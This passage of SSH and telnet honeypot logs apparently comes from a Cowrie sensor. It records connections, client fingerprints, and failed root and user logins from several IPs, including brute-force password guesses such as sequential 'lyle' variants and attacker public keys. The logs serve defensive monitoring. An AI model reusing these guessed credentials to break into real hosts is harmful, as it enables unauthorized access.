-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:42.140533Z","src_ip":"103.149.28.157","session":"3499b57b83da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"535353","message":"login attempt [root/535353] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:42.892540Z","src_ip":"103.149.28.157","session":"3499b57b83da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:44.150733Z","src_ip":"103.149.28.157","session":"3499b57b83da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":25651,"dst_ip":"10.17.0.5","dst_port":22,"session":"713e72fae171","protocol":"ssh","message":"New connection: 213.209.159.56:25651 (10.17.0.5:22) [session: 713e72fae171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:51.710572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:51.715635Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:51.798232Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle","message":"login attempt [lyle/lyle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:52.199706Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle1","message":"login attempt [lyle/lyle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:53.286885Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle123","message":"login attempt [lyle/lyle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:54.373131Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle1234","message":"login attempt [lyle/lyle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:55.462942Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49254,"dst_ip":"10.17.0.5","dst_port":22,"session":"06df28fcdd07","protocol":"ssh","message":"New connection: 51.250.105.222:49254 (10.17.0.5:22) [session: 06df28fcdd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:56.467862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:56.473470Z","src_ip":"51.250.105.222","session":"06df28fcdd07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle12345","message":"login attempt [lyle/lyle12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:56.559996Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:56.601014Z","src_ip":"51.250.105.222","session":"06df28fcdd07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:56.979425Z","src_ip":"51.250.105.222","session":"06df28fcdd07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:57.647527Z","src_ip":"213.209.159.56","session":"713e72fae171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:58.108019Z","src_ip":"51.250.105.222","session":"06df28fcdd07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44416,"dst_ip":"10.17.0.5","dst_port":23,"session":"46bbed31b729","protocol":"telnet","message":"New connection: 192.119.13.58:44416 (10.17.0.5:23) [session: 46bbed31b729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:00.622533Z"}
{"eventid":"cowrie.session.closed","duration":45.355764627456665,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:04.084652Z","src_ip":"192.119.13.58","session":"6d25fbdf2691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37816,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc35eef7618","protocol":"telnet","message":"New connection: 192.119.13.58:37816 (10.17.0.5:23) [session: 9cc35eef7618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:08.232221Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50702,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe11a035a0e","protocol":"telnet","message":"New connection: 192.119.13.58:50702 (10.17.0.5:23) [session: abe11a035a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:12.751205Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54118,"dst_ip":"10.17.0.5","dst_port":23,"session":"0214da6b90b2","protocol":"telnet","message":"New connection: 192.119.13.58:54118 (10.17.0.5:23) [session: 0214da6b90b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:14.033499Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42522,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd189fcf61c","protocol":"telnet","message":"New connection: 192.119.13.58:42522 (10.17.0.5:23) [session: fcd189fcf61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:19.621820Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":38582,"dst_ip":"10.17.0.5","dst_port":22,"session":"67061ffea4d3","protocol":"ssh","message":"New connection: 206.212.244.18:38582 (10.17.0.5:22) [session: 67061ffea4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.134017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.143620Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.156873Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:54:35:25:94:e0:6c:ef:b1:5f:93:f3:24:17:1d:2c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIcwF0WQcwgOR5ugPzuQ5LvtpdesI4MwoFQSXgUvI1EZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 03:54:35:25:94:e0:6c:ef:b1:5f:93:f3:24:17:1d:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.205180Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:54:35:25:94:e0:6c:ef:b1:5f:93:f3:24:17:1d:2c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIcwF0WQcwgOR5ugPzuQ5LvtpdesI4MwoFQSXgUvI1EZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.209990Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoaf08f1OqPENIU/LLM+vbpTA0l8tDQswMyuylqNYkeiEfwqfLQUdTyYFNLQPlOkz2xYF8gF+hJavbgGWBW09CzHv128IAf3teN5NW+VAQlz/HqLhXird2PiZcjYpgRWrjR9P1PsskCyT6prYwyOnNO8S3EFm9o38/IpcQTmNSzVSJKQzSj2kKUGmelF9auzuTM4p+PRvQnaWiClJMAyd3mJpFUo1kwqkb+TeXsD0ew9NKNBiOLLq3YwDpxoZMoVOrBCaSXFBRtfupEnBuxiEMaFFWPHqtTrV9b3WIKo/EqGb2dSxbtA07gc+Vc8pK7q96V/UjgtV7LTkcFYewePyKQHQtwH8LogHKXqVF23/4QTqyqhVM6p1MP0vtM0dZJB5RJLG+MZooOD4wCoPHlFgwhs4vAztLJSExBuRhenhejquvtjKP6bruEUaRtMQbD3RikJuydCOZ/L+CPSdEi4iCAdxBGWuZ1fHCTMgMJ9lVtXsp9EPqPtB9V9u7DNnGjaZM/LNZP+sEyaWZiq2TE4/J9z1ulHOhmBWfxv8QW+xHIMkuVbNVBBtStyiwPC+Iq5/Uvvk+XpLutOmsuRaBDaSCMP65yRN8GK1qf0Po/Gc/v7kngrBEb4PJzf0drE33Bk5B4TbOpEodOdIVgkmFZsBx8K12QjUY4FqCAXy1VGqtow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.227389Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoaf08f1OqPENIU/LLM+vbpTA0l8tDQswMyuylqNYkeiEfwqfLQUdTyYFNLQPlOkz2xYF8gF+hJavbgGWBW09CzHv128IAf3teN5NW+VAQlz/HqLhXird2PiZcjYpgRWrjR9P1PsskCyT6prYwyOnNO8S3EFm9o38/IpcQTmNSzVSJKQzSj2kKUGmelF9auzuTM4p+PRvQnaWiClJMAyd3mJpFUo1kwqkb+TeXsD0ew9NKNBiOLLq3YwDpxoZMoVOrBCaSXFBRtfupEnBuxiEMaFFWPHqtTrV9b3WIKo/EqGb2dSxbtA07gc+Vc8pK7q96V/UjgtV7LTkcFYewePyKQHQtwH8LogHKXqVF23/4QTqyqhVM6p1MP0vtM0dZJB5RJLG+MZooOD4wCoPHlFgwhs4vAztLJSExBuRhenhejquvtjKP6bruEUaRtMQbD3RikJuydCOZ/L+CPSdEi4iCAdxBGWuZ1fHCTMgMJ9lVtXsp9EPqPtB9V9u7DNnGjaZM/LNZP+sEyaWZiq2TE4/J9z1ulHOhmBWfxv8QW+xHIMkuVbNVBBtStyiwPC+Iq5/Uvvk+XpLutOmsuRaBDaSCMP65yRN8GK1qf0Po/Gc/v7kngrBEb4PJzf0drE33Bk5B4TbOpEodOdIVgkmFZsBx8K12QjUY4FqCAXy1VGqtow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.231407Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:a8:26:d2:c5:a4:82:00:63:e2:d2:df:3e:4d:bc:c3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6AY6pY84K/HvEF/7dsWbj8CXaijgF+HIaox50UFPAfZ6JEvN/Vz6zql9QzW8elWYUgi1IXnZAqnj8WOPusC0kubanir/N1GKBtq5HHcdUcpJK4BWEQM+ujugLJT6QOTCarJQPdjaO4x1g8480d7R3ZGyv8cfyynfiFgiU6GvYXAAAAFQDF20dPMnADljptiya3mJWPPbirIwAAAIAkdDoXk9H+HvpdH1FJaCol8DOk6nuzuXyttL0ubzuDrBecvY6KIqO1qtlVfi1vq2HmhR4Adtgk5SpgVa2iEdcd5qLNyRMNnn0TELZ3At/DEJbCWEB7KcRZEJ7xNugOChR7CAuJzUxnhO/SndkB/ECOpgGeVAm/iJnv+8cXvUuvXAAAAIAla6KvKLMrWwWzYZ/Zf4g5y7FokM2RDCCRCdsg82SzuJ5z/qdEHnMY1LYv99Qj2oU/Ca85BzuK1t5kj335P//lAEpeFX32Xw7x9M7v62w0NUjf37aHkxt7acKi/SzCHFwfutct9K0unYgm+utGCvDCAJ1n7EFqwe9uIGeNwvxc3w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bc:a8:26:d2:c5:a4:82:00:63:e2:d2:df:3e:4d:bc:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.246322Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:a8:26:d2:c5:a4:82:00:63:e2:d2:df:3e:4d:bc:c3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6AY6pY84K/HvEF/7dsWbj8CXaijgF+HIaox50UFPAfZ6JEvN/Vz6zql9QzW8elWYUgi1IXnZAqnj8WOPusC0kubanir/N1GKBtq5HHcdUcpJK4BWEQM+ujugLJT6QOTCarJQPdjaO4x1g8480d7R3ZGyv8cfyynfiFgiU6GvYXAAAAFQDF20dPMnADljptiya3mJWPPbirIwAAAIAkdDoXk9H+HvpdH1FJaCol8DOk6nuzuXyttL0ubzuDrBecvY6KIqO1qtlVfi1vq2HmhR4Adtgk5SpgVa2iEdcd5qLNyRMNnn0TELZ3At/DEJbCWEB7KcRZEJ7xNugOChR7CAuJzUxnhO/SndkB/ECOpgGeVAm/iJnv+8cXvUuvXAAAAIAla6KvKLMrWwWzYZ/Zf4g5y7FokM2RDCCRCdsg82SzuJ5z/qdEHnMY1LYv99Qj2oU/Ca85BzuK1t5kj335P//lAEpeFX32Xw7x9M7v62w0NUjf37aHkxt7acKi/SzCHFwfutct9K0unYgm+utGCvDCAJ1n7EFqwe9uIGeNwvxc3w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.251134Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:1e:f9:21:a8:9c:6b:ae:ab:26:cd:f4:92:35:c3:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhQ2+hzWJCkIjP/UytehJzl+iKSNghKqJU0KFxSlEXbdQSRQEALCIP+WTpIBs/LfJk8/7q2bFyqmtSm+DpK7kytN3Wh7Te9U81Mk4VcrgZ6wCSzpzWqAfP1OElwyppC5xlzhhHhTLMJFUVgsnSxiXHZOi/76R0bdOtHtXMLKjTyIdrwBXjFcxpHarkrkg39NVvS2WSxOJQ86mkaw+Jlv0Gz7UuUWknjzSdKiGB6yGDyXJzSE22hjVbnK1+B6xDNsibTzqtJ2PRNa3qDQYUlkPRSbBJw2l6wBrc472G1n17Trs6Z6AlmZXed3JRyT5brgc6fNlNjEonEPDZIZPIx6YoHQMklbU7FY3vRaOmq/2GieYRk6okoBrbMnTny1/z5pxACoPE0wiuO3O0Fr0ujk3DXd1tWtcqUAyegxzyr40kDJvKEw8jLJYkuz88ur08RWP+8EI5yzMcMDbGwFRphwsbcrXOn07h2WrNLuNanTSMashSTeERJ6qntlns4uLqr+mafNGsB6ErMMqbyxO91eNB0nwKVxaJg3cCLZzTPNlwND89cxHo0KT1Gqch/a7/ZuKlXjPvEqgRgeCKFThlncHlhtCwCWM5wk4+4qwAmZuIzI1CspvAitN5sDv5r5P1gLfJauZvVsNGAOcr8QNqwFc3AAT1eqCA9E0ab+ydkRVwkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:1e:f9:21:a8:9c:6b:ae:ab:26:cd:f4:92:35:c3:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.265242Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:1e:f9:21:a8:9c:6b:ae:ab:26:cd:f4:92:35:c3:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhQ2+hzWJCkIjP/UytehJzl+iKSNghKqJU0KFxSlEXbdQSRQEALCIP+WTpIBs/LfJk8/7q2bFyqmtSm+DpK7kytN3Wh7Te9U81Mk4VcrgZ6wCSzpzWqAfP1OElwyppC5xlzhhHhTLMJFUVgsnSxiXHZOi/76R0bdOtHtXMLKjTyIdrwBXjFcxpHarkrkg39NVvS2WSxOJQ86mkaw+Jlv0Gz7UuUWknjzSdKiGB6yGDyXJzSE22hjVbnK1+B6xDNsibTzqtJ2PRNa3qDQYUlkPRSbBJw2l6wBrc472G1n17Trs6Z6AlmZXed3JRyT5brgc6fNlNjEonEPDZIZPIx6YoHQMklbU7FY3vRaOmq/2GieYRk6okoBrbMnTny1/z5pxACoPE0wiuO3O0Fr0ujk3DXd1tWtcqUAyegxzyr40kDJvKEw8jLJYkuz88ur08RWP+8EI5yzMcMDbGwFRphwsbcrXOn07h2WrNLuNanTSMashSTeERJ6qntlns4uLqr+mafNGsB6ErMMqbyxO91eNB0nwKVxaJg3cCLZzTPNlwND89cxHo0KT1Gqch/a7/ZuKlXjPvEqgRgeCKFThlncHlhtCwCWM5wk4+4qwAmZuIzI1CspvAitN5sDv5r5P1gLfJauZvVsNGAOcr8QNqwFc3AAT1eqCA9E0ab+ydkRVwkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.269906Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:47:fc:70:4d:e7:ba:cc:77:d7:87:2a:46:62:35:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDe+k9ALrnpY645mpMas5AUce1bB+MpdjIPDr1sRi7f2ZzM/7Hh8YPj+OLjg0t36ICjXuIcCQbTepMEgwfEH9VEdPEjMBJ+CJ8sRYSjbyZSZeNGEtvtOlUqcSWox42s6DvF2caTSV43GdxaX/DGNvhWkIBA7lqcfSE1sn7boz+Vv7gO7qVziLlAeqqumgp0zskqHCqCUT6FPQbh9Xl8RW+AlxBdBBTA0cAFC11XHHbQ9ODi39+K8o+XJC5U4mPxZwhqg2tzX7UOTfyMQrlrLV8z0CJ4x3pCDYQS9ZgRxCpMb7N7A3LzcguRqxi9KWkg8IsDRxjL8IUILvz3Z3zfIvx6JdvNSfZsZht6FAFKWlS0oSm2f2lzDlVf84br+FHrw5VnVOtbe9+oVSUxlMXFL0cAB80Tm+7OkjrHCRaQtGe9MdYCQ1quM28F2c1JQ4HAwost8JXkor5cA8LF3r3+z/+stNzxgm//BGdPZS5rQi32CaOmGopjSZCdBL6429Pi3fvHF108/equZXFW3vsvJH0gbpb43JH69GUVRkfIIGF0nB6DDUs++cstHTlh8XjxgR02MIxOXvw1R6gAKzybWv9aPVTUD+BSMrWntzZ5/enL4oWmmAFeL/ebDAE4QojfoICvN8YHZxZLTwVGug8XceG8NlaVy6s4PqSF/JY5rHk4AQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:47:fc:70:4d:e7:ba:cc:77:d7:87:2a:46:62:35:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.287278Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
